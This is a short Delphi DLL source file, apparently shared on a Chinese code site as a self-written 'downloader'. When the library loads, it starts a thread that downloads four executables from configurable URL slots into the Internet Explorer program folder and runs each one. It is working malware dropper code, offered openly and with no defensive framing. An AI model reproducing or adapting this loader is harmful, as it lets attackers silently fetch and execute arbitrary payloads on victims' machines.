kedll.dpr

来自「我自己写的下载者代码啊 用很古老的代码完成编译的」· DPR 代码 · 共 49 行

library KeDLL;

uses
  Windows;


const
  url1 ='UXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';
  url2 ='VXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';
  URL3='MXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';
  URL4='BXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';

var
    minirThread:THandle;

function UrlDownLoadToFile(Caller,URL,FileName: PAnsiChar;Reserved: LongWord;
                           StatusCB: Pointer): LongWord;
                           stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';

function WinExec(lpCmdline: PAnsiChar; uCmdShow: LongWord): LongWord;
                 stdcall; external 'kernel32.dll' name 'WinExec';


function IntToStr(const Value: Integer): string; //整数转换为AnsiString字符串
var
  S: string[11];
begin
  Str(Value, S);
  Result := S;
end;

procedure miniratMain;stdcall;

begin
  if url1='' then Exit;
  UrlDownloadToFile(nil, PChar(URL1), PChar('C:\Program Files\Internet Explorer\1.exe'), 0, nil);
  UrlDownloadToFile(nil, PChar(URL2), PChar('C:\Program Files\Internet Explorer\2.exe'), 0, nil);
  UrlDownloadToFile(nil, PChar(URL3), PChar('C:\Program Files\Internet Explorer\3.exe'), 0, nil);
  UrlDownloadToFile(nil, PChar(URL4), PChar('C:\Program Files\Internet Explorer\4.exe'), 0, nil);
  WinExec(PChar('C:\Program Files\Internet Explorer\1.exe'), SW_SHOWDEFAULT);
  WinExec(PChar('C:\Program Files\Internet Explorer\2.exe'), SW_SHOWDEFAULT);
  WinExec(PChar('C:\Program Files\Internet Explorer\3.exe'), SW_SHOWDEFAULT);
  WinExec(PChar('C:\Program Files\Internet Explorer\4.exe'), SW_SHOWDEFAULT);
End;


begin
  CreateThread(nil, 0, @miniratMain, nil, 0, minirThread);
end.